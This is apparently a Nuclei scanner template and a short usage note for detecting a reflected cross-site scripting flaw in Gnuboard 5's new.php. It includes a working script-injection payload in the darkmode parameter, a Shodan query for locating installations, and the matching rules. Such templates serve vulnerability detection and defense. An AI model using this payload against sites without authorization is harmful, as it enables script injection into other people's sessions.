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Gnuboard 5 - Cross-Site Scripting

ID: gnuboard5-xss

Severity: medium

Author: arafatansari

Tags: xss,gnuboard,gnuboard5,huntr

Gnuboard 5 contains a cross-site scripting vulnerability via the clean_xss_tags() function called in new.php.

id: gnuboard5-xss
info:
name: Gnuboard 5 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
Gnuboard 5 contains a cross-site scripting vulnerability via the clean_xss_tags() function called in new.php.
reference:
- https://huntr.dev/bounties/ad2a9b32-fe6c-43e9-9b05-2c77c58dde6a/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
cpe: cpe:2.3:a:gnuboard:gnuboard5:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: http.html:"gnuboard5"
product: gnuboard5
vendor: gnuboard
tags: xss,gnuboard,gnuboard5,huntr
http:
- method: GET
path:
- "{{BaseURL}}/bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
words:
- 'header\"><script>alert(document.domain)</script>.css?'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402203cfb7cefd49f02f375a0af537192ad3a111d44d91be0e7e394e99db93ae1c4f902204525fe3b825de061ec132747afe4573858c3e6b7ff11873fa2ce9e0a74234c27:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/vulnerabilities/gnuboard/gnuboard5-xss.yaml"

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